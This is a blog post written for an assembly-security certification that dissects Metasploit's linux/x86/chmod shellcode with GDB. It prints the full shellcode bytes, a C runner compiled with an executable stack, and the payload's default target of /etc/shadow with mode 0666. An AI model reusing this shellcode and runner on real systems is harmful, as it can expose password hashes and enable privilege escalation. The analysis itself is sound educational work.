INTRODUCTION
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to take three x86/Linux shellcode samples from Metasploit’s Msfpayload tool, use GDB/Ndisasm/Libemu to dissect their functionality and present an analysis.
For this blog post I will be specifically analyzing the linux/x86/chmod payload.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.
This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.
Methodology
- Obtain as much information about the payload as possible through documentation. How does it work, expected parameters, end result once detonated
- Analyze payload using Gnu GDB
- Test shellcode
Payload Information
We can obtain a summary on the payload by passing the S for summary switch to msfpayload
$ msfpayload linux/x86/chmod S [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ Name: Linux Chmod Module: payload/linux/x86/chmod Platform: Linux Arch: x86 Needs Admin: No Total size: 158 Rank: Normal Provided by: kris katterjohn <katterjohn@gmail.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILE /etc/shadow yes Filename to chmod MODE 0666 yes File mode (octal) Description: Runs chmod on specified file with specified mode
We can see the payload target platform and architecture is Linux x86.
The size is 158 bytes.
The payload accepts two parameters, FILE and MODE, which are required. We can assume that the FILE parameter is used to specify the file that will have its mode bits changed and MODE will be the final octal representing the new mode.
We can confirm from the description that the payload will ‘Runs chmod on specified file with specified mode’.
Analyze using GDB
Msfpayload allows the user to specify different output formats of the payload, such as raw machine code, Dll, Python, etc. We are interested in the ‘c’ option which outputs a c language character array of hex bytes.
Note: “GDB, the GNU Project debugger, allows you to see what is going on `inside’ another program while it executes” http://www.gnu.org/software/gdb/
So let’s generate the payload using msfpayload and specify ‘testfile.txt’ as the file to change mode on and ‘666’ will be the new mode set on the file.
$ msfpayload linux/x86/chmod FILE=/home/remote/Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt MODE=666 c [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ /* * linux/x86/chmod - 96 bytes * http://www.metasploit.com * VERBOSE=false, PrependFork=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, FILE=/home/remote * /Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt, * MODE=666 */ unsigned char buf[] = "\x99\x6a\x0f\x58\x52\xe8\x48\x00\x00\x00\x2f\x68\x6f\x6d\x65" "\x2f\x72\x65\x6d\x6f\x74\x65\x2f\x44\x72\x6f\x70\x62\x6f\x78" "\x2f\x50\x65\x6e\x74\x65\x73\x74\x69\x6e\x67\x2f\x53\x4c\x41" "\x45\x5f\x65\x78\x65\x72\x63\x69\x73\x65\x73\x2f\x61\x73\x73" "\x69\x67\x6e\x6d\x65\x6e\x74\x35\x2f\x74\x65\x73\x74\x66\x69" "\x6c\x65\x2e\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd" "\x80\x6a\x01\x58\xcd\x80";
Let’s paste this into a c skeleton code ready to compile and debug.
#include<stdio.h> #include<string.h> /* * linux/x86/chmod - 96 bytes * http://www.metasploit.com * VERBOSE=false, PrependFork=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, FILE=/home/remote * /Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt, * MODE=666 */ unsigned char code[] = "\x99\x6a\x0f\x58\x52\xe8\x48\x00\x00\x00\x2f\x68\x6f\x6d\x65" "\x2f\x72\x65\x6d\x6f\x74\x65\x2f\x44\x72\x6f\x70\x62\x6f\x78" "\x2f\x50\x65\x6e\x74\x65\x73\x74\x69\x6e\x67\x2f\x53\x4c\x41" "\x45\x5f\x65\x78\x65\x72\x63\x69\x73\x65\x73\x2f\x61\x73\x73" "\x69\x67\x6e\x6d\x65\x6e\x74\x35\x2f\x74\x65\x73\x74\x66\x69" "\x6c\x65\x2e\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd" "\x80\x6a\x01\x58\xcd\x80"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
Compile
$ gcc -o ./chmod_shellcode_skeleton chmod_shellcode_skeleton.c -fno-stack-protector -z execstack
Not forgetting to create our testfile.txt
$ touch testfile.txt
Check the test file’s mode
$ stat testfile.txt
File: `testfile.txt'
Size: 0 Blocks: 8 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 1179666 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ remote) Gid: ( 1001/ remote)
Access: 2015-06-09 03:40:07.518436437 -0400
Modify: 2015-06-09 03:40:05.498516950 -0400
Change: 2015-06-09 03:40:07.510436755 -0400
Birth: -
I’m going to install a gdbinit from https://github.com/gdbinit/gdbinit script which will set our gdb environment up for better screen display.
Let’s fire her up and see what we have.
$ gdb -q ./chmod_shellcode_skeleton
Reading symbols from /home/remote/Dropbox/Pentesting/SLAE_exercises/assignment5/chmod_shellcode_skeleton...(no debugging symbols found)...done.
gdb$ break main
Breakpoint 1 at 0x804841f
First thing is to break on main() function and run
gdb$ r warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 --------------------------------------------------------------------------[regs] EAX: 0xBFFFF4E4 EBX: 0xB7FBDFF4 ECX: 0xBD7D9C62 EDX: 0x00000001 o d I t s Z a P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF438 ESP: 0xBFFFF438 EIP: 0x0804841F CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------
=> 0x804841f <main+3>: and esp,0xfffffff0 0x8048422 <main+6>: sub esp,0x20 0x8048425 <main+9>: mov DWORD PTR [esp+0x4],0x60 0x804842d <main+17>: mov DWORD PTR [esp],0x80484e0 0x8048434 <main+24>: call 0x8048300 <printf@plt> 0x8048439 <main+29>: mov DWORD PTR [esp+0x1c],0x80496c0 0x8048441 <main+37>: mov eax,DWORD PTR [esp+0x1c] 0x8048445 <main+41>: <span style="color:#0000ff;">call eax</span> -------------------------------------------------------------------------------- Breakpoint 1, 0x0804841f in main ()</pre> We can see that our shellcode is executed from the <span style="color:#0000ff;">call eax</span> Set a break at 0x8048445 and take a look at the instruction there <pre>gdb$ b *0x8048445 Breakpoint 2 at 0x8048445 gdb$ c Shellcode Length: 96 --------------------------------------------------------------------------[regs] EAX: 0x080496C0 EBX: 0xB7FBDFF4 ECX: 0xBFFFF3F8 EDX: 0xB7FBF360 o d I t S z A p c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF438 ESP: 0xBFFFF410 EIP: 0x08048445 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------
=> 0x8048445 <main+41>: call eax
0x8048447 <main+43>: leave
0x8048448 <main+44>: ret
0x8048449: nop
0x804844a: nop
0x804844b: nop
0x804844c: nop
0x804844d: nop
——————————————————————————–
Breakpoint 2, 0x08048445 in main ()
Use the disassemble /r command to display the memory contents at where EAX is pointing because this is the address call is made to.
gdb$ disassemble /r $eax Dump of assembler code for function code: 0x080496c0 <+0>: 99 cdq 0x080496c1 <+1>: 6a 0f push 0xf 0x080496c3 <+3>: 58 pop eax 0x080496c4 <+4>: 52 push edx 0x080496c5 <+5>: e8 48 00 00 00 call 0x8049712 <code+82> 0x080496ca <+10>: 2f das 0x080496cb <+11>: 68 6f 6d 65 2f push 0x2f656d6f 0x080496d0 <+16>: 72 65 jb 0x8049737 0x080496d2 <+18>: 6d ins DWORD PTR es:[edi],dx 0x080496d3 <+19>: 6f outs dx,DWORD PTR ds:[esi] 0x080496d4 <+20>: 74 65 je 0x804973b 0x080496d6 <+22>: 2f das 0x080496d7 <+23>: 44 inc esp 0x080496d8 <+24>: 72 6f jb 0x8049749 0x080496da <+26>: 70 62 jo 0x804973e 0x080496dc <+28>: 6f outs dx,DWORD PTR ds:[esi] 0x080496dd <+29>: 78 2f js 0x804970e <code+78> 0x080496df <+31>: 50 push eax 0x080496e0 <+32>: 65 6e outs dx,BYTE PTR gs:[esi] 0x080496e2 <+34>: 74 65 je 0x8049749 0x080496e4 <+36>: 73 74 jae 0x804975a 0x080496e6 <+38>: 69 6e 67 2f 53 4c 41 imul ebp,DWORD PTR [esi+0x67],0x414c532f 0x080496ed <+45>: 45 inc ebp 0x080496ee <+46>: 5f pop edi 0x080496ef <+47>: 65 gs 0x080496f0 <+48>: 78 65 js 0x8049757 0x080496f2 <+50>: 72 63 jb 0x8049757 0x080496f4 <+52>: 69 73 65 73 2f 61 73 imul esi,DWORD PTR [ebx+0x65],0x73612f73 0x080496fb <+59>: 73 69 jae 0x8049766 0x080496fd <+61>: 67 6e outs dx,BYTE PTR ds:[si] 0x080496ff <+63>: 6d ins DWORD PTR es:[edi],dx 0x08049700 <+64>: 65 6e outs dx,BYTE PTR gs:[esi] 0x08049702 <+66>: 74 35 je 0x8049739 0x08049704 <+68>: 2f das 0x08049705 <+69>: 74 65 je 0x804976c 0x08049707 <+71>: 73 74 jae 0x804977d 0x08049709 <+73>: 66 69 6c 65 2e 74 78 imul bp,WORD PTR [ebp+eiz*2+0x2e],0x7874 0x08049710 <+80>: 74 00 je 0x8049712 <code+82> 0x08049712 <+82>: 5b pop ebx 0x08049713 <+83>: 68 b6 01 00 00 push 0x1b6 0x08049718 <+88>: 59 pop ecx 0x08049719 <+89>: cd 80 int 0x80 0x0804971b <+91>: 6a 01 push 0x1 0x0804971d <+93>: 58 pop eax 0x0804971e <+94>: cd 80 int 0x80 0x08049720 <+96>: 00 00 add BYTE PTR [eax],al
With a cursory view we can see that in this code block makes one call to 0x8049712 at 0x080496c5. We know that if this is a syscall then EAX will contain the syscall number. EAX contains 0xf. We search http://syscalls.kernelgrok.com/ for 0x0f and we get
# | Name | Registers | Definition | |||||
---|---|---|---|---|---|---|---|---|
eax | ebx | ecx | edx | esi | edi | |||
15 | sys_chmod | 0x0f | const char __user *filename | mode_t mode | – | – | – | fs/open.c:507 |
Perfect, exactly what we expected.
Check man docs
$ man 2 chmod CHMOD(2) Linux Programmer's Manual CHMOD(2) NAME chmod, fchmod - change permissions of a file ... int chmod(const char *path, mode_t mode); ... DESCRIPTION These system calls change the permissions of a file. They differ only in how the file is specified: * chmod() changes the permissions of the file specified whose pathname is given in path, which is deref‐ erenced if it is a symbolic link.
Interesting, we need to identify where in the code the path and mode are set. Perhaps a stepi into the call. I stepi all the way upto the software interrupt for chmod
gdb$ stepi --------------------------------------------------------------------------[regs] EAX: 0x0000000F EBX: 0x080496CA ECX: 0x000001B6 EDX: 0x00000000 o d I t S z A p c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF438 ESP: 0xBFFFF408 EIP: 0x08049719 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------
=> 0x8049719 <code+89>: int 0x80 0x804971b <code+91>: push 0x1 0x804971d <code+93>: pop eax 0x804971e <code+94>: int 0x80 0x8049720 <code+96>: add BYTE PTR [eax],al 0x8049722: add BYTE PTR [eax],al 0x8049724 : add BYTE PTR [eax],al 0x8049726: add BYTE PTR [eax],al -------------------------------------------------------------------------------- 0x08049719 in code ()
We know that parameters passed to the syscall will be placed in the cpu registers.
EAX = syscall, EBX = path, and ECX = mode. This is a guess.
Let’s check by printing them out
gdb$ print $eax $1 = 0xf gdb$ x /sb $ebx 0x80496ca <code+10>: "/home/remote/Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt" gdb$ print $ecx $3 = 0x1b6
Exactly as expected. Note 0x1b6 = 666octal
If we continue the stepi we end up at 0x804971b the next syscall has 01x in EAX which is
# | Name | Registers | Definition | |||||
---|---|---|---|---|---|---|---|---|
eax | ebx | ecx | edx | esi | edi | |||
1 | sys_exit | 0x01 | int error_code | – | – | – | – | kernel/exit.c:1046 |
the exit() syscall. Perfect.
Complete the program execution
gdb$ c [Inferior 1 (process 4269) exited with code 0312] --------------------------------------------------------------------------[regs] EAX:Error while running hook_stop: No registers.
Testing
Let’s check the testfile.txt mode and whether it has changed from ‘644’ to ‘666’
$ stat testfile.txt
File: `testfile.txt'
Size: 0 Blocks: 8 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 1179666 Links: 1
Access: (0666/-rw-rw-rw-) Uid: ( 1000/ remote) Gid: ( 1001/ remote)
Access: 2015-06-09 19:23:28.643204658 -0400
Modify: 2015-06-09 03:40:05.498516950 -0400
Change: 2015-06-09 19:23:28.575200823 -0400
Birth: -
Thank you
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473
Reblogged this on youremindmeofmymother.